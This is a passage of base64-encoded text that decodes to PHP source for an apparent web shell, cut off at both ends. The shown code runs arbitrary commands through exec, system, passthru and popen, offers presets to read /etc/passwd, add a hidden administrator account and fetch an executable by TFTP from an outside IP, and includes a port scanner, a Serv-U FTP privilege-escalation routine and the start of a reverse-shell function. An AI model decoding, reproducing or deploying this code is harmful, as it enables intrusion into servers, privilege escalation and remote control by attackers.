l0IikpLA0KCQkJCQlhcnJheSgiUE9TVNfutPPX1r3aW3Bvc3RfbWF4X3NpemVdIixJbmZvX0NmZygicG9zdF9tYXhfc2l6ZSIpKSwNCgkJCQkJYXJyYXkoItTK0O3X7rTzyc+0q1t1cGxvYWRfbWF4X2ZpbGVzaXplXSIsJHVwc2l6ZSksDQoJCQkJCWFycmF5KCKzzNDy1+6zpNTL0NDKsbzkW21heF9leGVjdXRpb25fdGltZV0iLEluZm9fQ2ZnKCJtYXhfZXhlY3V0aW9uX3RpbWUiKS4iw+siKSwNCgkJCQkJYXJyYXkoIr3708O6r8r9W2Rpc2FibGVfZnVuY3Rpb25zXSIsJGRpc19mdW5jKSwNCgkJCQkJYXJyYXkoIrPM0PLQxc+iuq/K/VtwaHBpbmZvKCldIiwkcGhwaW5mbyksDQoJCQkJCWFycmF5KCLEv8ewu7nT0L/V0+C/1bzkZGlza2ZyZWVzcGFjZSIsaW50dmFsKGRpc2tmcmVlc3BhY2UoIi4iKSAvICgxMDI0ICogMTAyNCkpLidNYicpLA0KCQkJCQlhcnJheSgiR1rRucv1zsS8/tans9ZbemxpYl0iLEluZm9fRnVuKCJnemNsb3NlIikpLA0KCQkJCQlhcnJheSgiWklQ0bnL9c7EvP7Wp7PWW1ppcEFyY2hpdmUocGhwX3ppcCldIixJbmZvX0Z1bigiemlwX29wZW4iKSksDQoJCQkJCWFycmF5KCJJTUFQtefX09PKvP7Ptc2zIixJbmZvX0Z1bigiaW1hcF9jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIlhNTL3izvYiLEluZm9fRnVuKCJ4bWxfc2V0X29iamVjdCIpKSwNCgkJCQkJYXJyYXkoIkZUULXHwr0iLEluZm9fRnVuKCJmdHBfbG9naW4iKSksDQoJCQkJCWFycmF5KCJTZXNzaW9u1qez1iIsSW5mb19GdW4oInNlc3Npb25fc3RhcnQiKSksDQoJCQkJCWFycmF5KCJTb2NrZXTWp7PWIixJbmZvX0Z1bigiZnNvY2tvcGVuIikpLA0KCQkJCQlhcnJheSgiTXlTUUzK/b7dv+IiLEluZm9fRnVuKCJteXNxbF9jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIk1TU1FMyv2+3b/iIixJbmZvX0Z1bigibXNzcWxfY2xvc2UiKSksDQoJCQkJCWFycmF5KCJQb3N0Z3JlIFNRTMr9vt2/4iIsSW5mb19GdW4oInBnX2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiU1FMaXRlyv2+3b/iIixJbmZvX0Z1bigic3FsaXRlX2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiT3JhY2xlyv2+3b/iIixJbmZvX0Z1bigib3JhX2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiT3JhY2xlIDjK/b7dv+IiLEluZm9fRnVuKCJPQ0lMb2dPZmYiKSksDQoJCQkJCWFycmF5KCJTeUJhc2XK/b7dv+IiLEluZm9fRnVuKCJzeWJhc2VfY2xvc2UiKSksDQoJCQkJCWFycmF5KCJIeXBlcndhdmXK/b7dv+IiLEluZm9fRnVuKCJod19jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIkluZm9yTWl4yv2+3b/iIixJbmZvX0Z1bigiaWZ4X2Nsb3NlIikpLA0KCQkJCQlhcnJheSgiRmlsZVByb8r9vt2/4iIsSW5mb19GdW4oImZpbGVwcm9fZmllbGRjb3VudCIpKSwNCgkJCQkJYXJyYXkoIkRCQS9EQk3BrL3TIixJbmZvX0Z1bigiZGJhX2Nsb3NlIikuIiZuYnNwOy8mbmJzcDsiLkluZm9fRnVuKCJkYm1jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIk9EQkMvZEJBU0XBrL3TIixJbmZvX0Z1bigib2RiY19jbG9zZSIpLiImbmJzcDsvJm5ic3A7Ii5JbmZvX0Z1bigiZGJhc2VfY2xvc2UiKSksDQoJCQkJCWFycmF5KCJQUkVMz+DI3dPvt6hbUENSRV0iLEluZm9fRnVuKCJwcmVnX21hdGNoIikpLA0KCQkJCQlhcnJheSgiUERG1qez1iIsSW5mb19GdW4oInBkZl9jbG9zZSIpKSwNCgkJCQkJYXJyYXkoIs280M60psDtW0dEIExpYnJhcnldIixJbmZvX0Z1bigiaW1hZ2VsaW5lIikpLA0KCQkJCQlhcnJheSgiU05NUM34wue53MDt0K3S6SIsSW5mb19GdW4oInNubXBnZXQiKSksKTsNCgkJCWVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4nOw0KCQkJZm9yKCRpID0gMDskaSA8IGNvdW50KCRpbmZvKTskaSsrKXtlY2hvICc8dHI+PHRkIHdpZHRoPSI0MCUiPicuJGluZm9bJGldWzBdLic8L3RkPjx0ZD4nLiRpbmZvWyRpXVsxXS4nPC90ZD48L3RyPicuIlxuIjt9DQoJCQllY2hvICc8L3RhYmxlPic7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQkvL9a00NDD/MHuDQoJCWZ1bmN0aW9uIEV4ZWNfUnVuKCRjbWQpDQoJCXsNCgkJCSRyZXMgPSAnJzsNCgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXtAZXhlYygkY21kLCRyZXMpOyRyZXMgPSBqb2luKCJcbiIsJHJlcyk7fQ0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXskcmVzID0gQHNoZWxsX2V4ZWMoJGNtZCk7fQ0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpe0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7fQ0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7QG9iX3N0YXJ0KCk7QHBhc3N0aHJ1KCRjbWQpOyRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpO30NCgkJCWVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNtZCwiciIpKSl7JHJlcyA9ICcnO3doaWxlKCFAZmVvZigkZikpeyRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpO31AcGNsb3NlKCRmKTt9DQoJCQlyZXR1cm4gJHJlczsNCgkJfQ0KCQlmdW5jdGlvbiBFeGVjX2coKQ0KCQl7DQoJCQkkcmVzID0gJ7vYz9QnOw0KCQkJJGNtZCA9ICdkaXInOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKXskcmVzID0gRXhlY19SdW4oJF9QT1NUWydjbWQnXSk7JGNtZCA9ICRfUE9TVFsnY21kJ107fQ0KCQkJcHJpbnQ8PDxFTkQNCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gc0Z1bGwoaSl7DQoJU3RyID0gbmV3IEFycmF5KDE0KTsNCglTdHJbMF0gPSAiZGlyIjsNCglTdHJbMV0gPSAibHMgL2V0YyI7DQoJU3RyWzJdID0gImNhdCAvZXRjL3Bhc3N3ZCI7DQoJU3RyWzNdID0gImNwIC1hIC9ob21lL3d3dy9odG1sL2EucGhwIC9ob21lL3d3dzIvIjsNCglTdHJbNF0gPSAidW5hbWUgLWEiOw0KCVN0cls1XSA9ICJnY2MgLW8gL3RtcC9zaWxpYyAvdG1wL3NpbGljLmMiOw0KCVN0cls2XSA9ICJuZXQgdXNlciBzaWxpYyBzaWxpYyAvYWRkICYgbmV0IGxvY2FsZ3JvdXAgYWRtaW5pc3RyYXRvcnMgc2lsaWMgL2FkZCI7DQoJU3RyWzddID0gIm5ldCB1c2VyIjsNCglTdHJbOF0gPSAibmV0c3RhdCAtYW4iOw0KCVN0cls5XSA9ICJpcGNvbmZpZyI7DQoJU3RyWzEwXSA9ICJjb3B5IGM6XFwxLnBocCBkOlxcMi5waHAiOw0KCVN0clsxMV0gPSAidGZ0cCAtaSAxMjMuMjM0LjIyMi4xIGdldCBzaWxpYy5leGUgYzpcXHNpbGljLmV4ZSI7DQoJU3RyWzEyXSA9ICJsc2JfcmVsZWFzZSAtYSI7DQoJU3RyWzEzXSA9ICJjaG1vZCA3NzcgL3RtcC9zaWxpYy5jIjsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS52YWx1ZSA9IFN0cltpXTsNCnJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Imdmb3JtIiBpZD0iZ2Zvcm0iIGFjdGlvbj0iP3M9ZyI+PGNlbnRlcj48ZGl2IGNsYXNzPSJhY3RhbGwiPg0Kw/zB7rLOyv0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgaWQ9ImNtZCIgdmFsdWU9InskY21kfSIgc3R5bGU9IndpZHRoOjM5OXB4OyI+DQo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gc0Z1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPg0KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3D/MHuvK+6zy0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj7OxLz+wdCx7Twvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiI+tsHIocXk1sM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPr+9sbTOxLz+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij7Ptc2z0MXPojwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+seDS687EvP48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiPsztvNO53MDtPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3Ij7Tw7unwdCx7Twvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOCI+sum/tLbLv9o8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjkiPrLpv7S12Na3PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMCI+uLTWxs7EvP48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIj5GVFDPwtTYPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiI+xNq6y7Dmsb48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIj64/LjEyvTQ1Dwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PHRleHRhcmVhIG5hbWU9InNob3ciIHN0eWxlPSJ3aWR0aDo2NjBweDtoZWlnaHQ6Mzk5cHg7Ij57JHJlc308L3RleHRhcmVhPjwvZGl2PjwvY2VudGVyPjwvZm9ybT4NCkVORDsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJCS8vyajD6LbLv9oNCgkJZnVuY3Rpb24gUG9ydF9pKCkNCgkJew0KCQkJJFBvcnRfaXAgPSBpc3NldCgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddIDogJzEyNy4wLjAuMSc7DQoJCQkkUG9ydF9wb3J0ID0gaXNzZXQoJF9QT1NUWydwb3J0J10pID8gJF9QT1NUWydwb3J0J10gOiAnMjF8MjJ8MjN8MjV8ODB8MTEwfDExMXwxMzV8MTM5fDQ0M3w0NDV8MTQzM3wxNTIxfDMzMDZ8MzM4OXw0ODk5fDU0MzJ8NTYzMXw3MDAxfDgwMDB8ODA4MHwxNDE0N3w0Mzk1OCc7DQoJCQlwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJpZm9ybSIgaWQ9Imlmb3JtIiBhY3Rpb249Ij9zPWkiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7JqMPoSVAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlwIiB2YWx1ZT0ieyRQb3J0X2lwfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+IDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj62y7/ausUgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSJ7JFBvcnRfcG9ydH0iIHN0eWxlPSJ3aWR0aDo3MjBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCgkJCWlmKCghZW1wdHkoJF9QT1NUWydpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkpKQ0KCQkJew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsNCgkJCQkkcG9ydHMgPSBleHBsb2RlKCd8JywgJF9QT1NUWydwb3J0J10pOw0KCQkJCWZvcigkaSA9IDA7JGkgPCBjb3VudCgkcG9ydHMpOyRpKyspDQoJCQkJew0KCQkJCQkkZnAgPSBAZnNvY2tvcGVuKCRfUE9TVFsnaXAnXSwkcG9ydHNbJGldLCRlcnJubywkZXJyc3RyLDIpOw0KCQkJCQllY2hvICRmcCA/ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+v6q3xbbLv9ogLS0tPiAnLiRwb3J0c1skaV0uJzwvZm9udD48YnI+JyA6ICe52LHVtsu/2iAtLS0+ICcuJHBvcnRzWyRpXS4nPGJyPic7DQoJCQkJCW9iX2ZsdXNoKCk7DQoJCQkJCWZsdXNoKCk7DQoJCQkJfQ0KCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQl9DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQkvL1NlcnZVDQoJCWZ1bmN0aW9uIFNlcnZ1X2woKQ0KCQl7DQoJCQkkU1VQYXNzID0gaXNzZXQoJF9QT1NUWydTVVBhc3MnXSkgPyAkX1BPU1RbJ1NVUGFzcyddIDogJyNsQCRhayMubGs7MEBQJzsNCgkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9zPWwiPlvWtNDQw/zB7l08L2E+IDxhIGhyZWY9Ij9zPWwmbz1hZGR1c2VyIj5bzO2809PDu6ddPC9hPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCgk8ZGl2IGNsYXNzPSJhY3RhbGwiPlNlcnZVtsu/2iA8aW5wdXQgbmFtZT0iU1VQb3J0IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iNDM5NTgiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQoJPGRpdiBjbGFzcz0iYWN0YWxsIj5TZXJ2VdPDu6cgPGlucHV0IG5hbWU9IlNVVXNlciIgdHlwZT0idGV4dCIgdmFsdWU9IkxvY2FsQWRtaW5pc3RyYXRvciIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCgk8ZGl2IGNsYXNzPSJhY3RhbGwiPlNlcnZVw9zC6yA8aW5wdXQgbmFtZT0iU1VQYXNzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRTVVBhc3N9IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KRU5EOw0KCQkJaWYoJF9HRVRbJ28nXSA9PSAnYWRkdXNlcicpDQoJCQl7DQoJCQkJcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+1cq6xSA8aW5wdXQgbmFtZT0idXNlciIgdHlwZT0idGV4dCIgdmFsdWU9InlvY28iIHN0eWxlPSJ3aWR0aDoyMDBweCI+DQrD3MLrIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0idGV4dCIgdmFsdWU9InNpbGljIiBzdHlsZT0id2lkdGg6MjAwcHgiPg0KxL/CvCA8aW5wdXQgbmFtZT0icGFydCIgdHlwZT0idGV4dCIgdmFsdWU9IkM6XFxcXCIgc3R5bGU9IndpZHRoOjIwMHB4Ij48L2Rpdj4NCkVORDsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj7M4ciow/zB7iA8aW5wdXQgbmFtZT0iU1VDb21tYW5kIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ibmV0IHVzZXIgc2lsaWMgc2lsaWMgL2FkZCAmIG5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzIHNpbGljIC9hZGQiIHN0eWxlPSJ3aWR0aDo2MDBweCI+PGJyPg0KPGlucHV0IG5hbWU9InVzZXIiIHR5cGU9ImhpZGRlbiIgdmFsdWU9InNpbGljIj4NCjxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2lsaWMiPg0KPGlucHV0IG5hbWU9InBhcnQiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IkM6XFxcXCI+PC9kaXY+DQpFTkQ7DQoJCQl9DQoJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4nOw0KCQkJaWYoKCFlbXB0eSgkX1BPU1RbJ1NVUG9ydCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ1NVVXNlciddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ1NVUGFzcyddKSkpDQoJCQl7DQoJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkJCSRzZW5kYnVmID0gIiI7DQoJCQkJJHJlY3ZidWYgPSAiIjsNCgkJCQkkZG9tYWluICA9ICItU0VURE9NQUlOXHJcbiIuIi1Eb21haW49aGF4b3JjaXRvc3wwLjAuMC4wfDIxfC0xfDF8MFxyXG4iLiItVFpPRW5hYmxlPTBcclxuIi4iIFRaT0tleT1cclxuIjsNCgkJCQkkYWRkdXNlciA9ICItU0VUVVNFUlNFVFVQXHJcbiIuIi1JUD0wLjAuMC4wXHJcbiIuIi1Qb3J0Tm89MjFcclxuIi4iLVVzZXI9Ii4kX1BPU1RbJ3VzZXInXS4iXHJcbiIuIi1QYXNzd29yZD0iLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiIuIi1Ib21lRGlyPWM6XFxcclxuIi4iLUxvZ2luTWVzRmlsZT1cclxuIi4iLURpc2FibGU9MFxyXG4iLiItUmVsUGF0aHM9MVxyXG4iLiItTmVlZFNlY3VyZT0wXHJcbiIuIi1IaWRlSGlkZGVuPTBcclxuIi4iLUFsd2F5c0FsbG93TG9naW49MFxyXG4iLiItQ2hhbmdlUGFzc3dvcmQ9MFxyXG4iLg0KCQkJCQkJIi1RdW90YUVuYWJsZT0wXHJcbiIuIi1NYXhVc2Vyc0xvZ2luUGVySVA9LTFcclxuIi4iLVNwZWVkTGltaXRVcD0wXHJcbiIuIi1TcGVlZExpbWl0RG93bj0wXHJcbiIuIi1NYXhOclVzZXJzPS0xXHJcbiIuIi1JZGxlVGltZU91dD02MDBcclxuIi4iLVNlc3Npb25UaW1lT3V0PS0xXHJcbiIuIi1FeHBpcmU9MFxyXG4iLiItUmF0aW9VcD0xXHJcbiIuIi1SYXRpb0Rvd249MVxyXG4iLiItUmF0aW9zQ3JlZGl0PTBcclxuIi4iLVF1b3RhQ3VycmVudD0wXHJcbiIuIi1RdW90YU1heGltdW09MFxyXG4iLg0KCQkJCQkJIi1NYWludGVuYW5jZT1Ob25lXHJcbiIuIi1QYXNzd29yZFR5cGU9UmVndWxhclxyXG4iLiItUmF0aW9zPU5vbmVcclxuIi4iIEFjY2Vzcz0iLiRfUE9TVFsncGFydCddLiJcfFJXQU1FTENEUFxyXG4iOw0KCQkJCSRkZWxkb21haW4gPSAiLURFTEVURURPTUFJTlxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiIgUG9ydE5vPTIxXHJcbiI7DQoJCQkJJHNvY2sgPSBAZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAkX1BPU1RbIlNVUG9ydCJdLCAkZXJybm8sICRlcnJzdHIsIDEwKTsNCgkJCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsiU1VVc2VyIl0uIlxyXG4iOw0KCQkJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkkc2VuZGJ1ZiA9ICJQQVNTICIuJF9QT1NUWyJTVVBhc3MiXS4iXHJcbiI7DQoJCQkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCQkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCQkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOw0KCQkJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCQkJCSRzZW5kYnVmID0gIlNJVEUgTUFJTlRFTkFOQ0VcclxuIjsNCgkJCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJCQllY2hvICK3osvNyv2+3bD8OiAkc2VuZGJ1ZiA8YnI+IjsNCgkJCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJJHNlbmRidWYgPSAkZG9tYWluOw0KCQkJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkkc2VuZGJ1ZiA9ICRhZGR1c2VyOw0KCQkJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQlpZighZW1wdHkoJF9QT1NUWydTVUNvbW1hbmQnXSkpDQoJCQkJew0KCQkJCQkkZXhwID0gQGZzb2Nrb3BlbigiMTI3LjAuMC4xIiwgIjIxIiwgJGVycm5vLCAkZXJyc3RyLCAxMCk7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOw0KCQkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkJJHNlbmRidWYgPSAiVVNFUiAiLiRfUE9TVFsndXNlciddLiJcclxuIjsNCgkJCQkJQGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJCQkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOw0KCQkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkJJHNlbmRidWYgPSAiUEFTUyAiLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiI7DQoJCQkJCUBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCQkJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkJCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkZXhwLCAxMDI0KTsNCgkJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJCSRzZW5kYnVmID0gInNpdGUgZXhlYyAiLiRfUE9TVFsiU1VDb21tYW5kIl0uIlxyXG4iOw0KCQkJCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQkJCQllY2hvICK3osvNyv2+3bD8OiBzaXRlIGV4ZWMgPGZvbnQgY29sb3I9IzAwNjYwMD4iLiRfUE9TVFsiU1VDb21tYW5kIl0uIjwvZm9udD4gPGJyPiI7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRleHAsIDEwMjQpOw0KCQkJCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJCQkJJHNlbmRidWYgPSAkZGVsZG9tYWluOw0KCQkJCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJCQkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCQkJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJCQkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCQkJCUBmY2xvc2UoJGV4cCk7DQoJCQkJfQ0KCQkJCUBmY2xvc2UoJHNvY2spOw0KCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQl9DQoJCX0NCgkJLy+3tLWvway90w0KCQlmdW5jdGlvbiBiYWNrY29ubigpDQoJCXsNCgkJCSR0eT0kX0dFVFsndHknXTsNCgkJCWlmKCR0eT09J3NvY2tldCcpew0KCQkJCUBzZXRfdGltZV9saW1pdCgwKTsNCgkJCQkkc3lzdGVtPXN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpOw0KCQkJCWlmKCFleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykpDQoJCQkJew0KCQkJCQlpZigkc3lzdGVtID09ICdXSU4nKXtAZGwoJ3BocF9zb2NrZXRzLmRsbCcpIG9yIGRpZSgiQ2FuJ3QgbG9hZCBzb2NrZXQiKTt9DQoJCQkJCWVsc2V7QGRsKCdzb2NrZXRzLnNvJykgb3IgZGllKCJDYW4ndCBsb2FkIHNvY2tldCIpO30NCgkJCQl9DQoJCQkJaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsncG9ydCddKSkNCgkJCQl7DQoJCQkJCSRob3N0ID0gJF9QT1NUWydob3N0J107DQoJCQkJCSRwb3J0ID0gJF9QT1NUWydwb3J0J107DQoJCQkJfWVsc2V7DQoJCQkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iP3M9ZGQmdHk9c29ja2V0Ij4NCjxicj7W97v6wODQzTo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9aW5mbyB2YWx1ZT0ibGludXgiPkxpbnV4IDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT1pbmZvIHZhbHVlPSJ3aW4iIGNoZWNrZWQ+V2luZG93czxicj48YnI+DQrW97v6o7o8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT0iIj48YnI+DQq2y7/ao7o8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cG9ydCB2YWx1ZT0iMTEyMCI+PGJyPjxicj4NCjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPSK3tLWvway90yI+PGJyPjxicj48L2Zvcm0+PC9kaXY+DQpFTkQ7DQoJCQkJfQ0KCQkJCWlmKCRzeXN0ZW09PSJXSU4iKXskZW52PWFycmF5KCdwYXRoJyA9PiAnYzpcXHdpbmRvd3NcXHN5c3RlbTMyJyk7fQ0KCQkJCWVsc2V7JGVudiA9IGFycmF5KCdQQVRIJyA9PiAnL2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluJyk7fQ0KCQkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCJyIiksMSA9PiBhcnJheSgicGlwZSIsInciKSwyID0+IGFycmF5KCJwaXBlIiwidyIpLCk7DQoJCQkJJGhvc3Q9Z2V0aG9zdGJ5bmFtZSgkaG9zdCk7DQoJCQkJJHByb3RvPWdldHByb3RvYnluYW1lKCJ0Y3AiKTsNCgkJCQlpZigoJHNvY2s9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLCRwcm90bykpPDApe2RpZSgiU29ja2V0tLS9qMqnsNwiKTt9DQoJCQkJaWYoKCRyZXQ9c29ja2V0X2Nvbm5lY3QoJHNvY2ssJGhvc3QsJHBvcnQpKTwwKXtkaWUoIsGsvd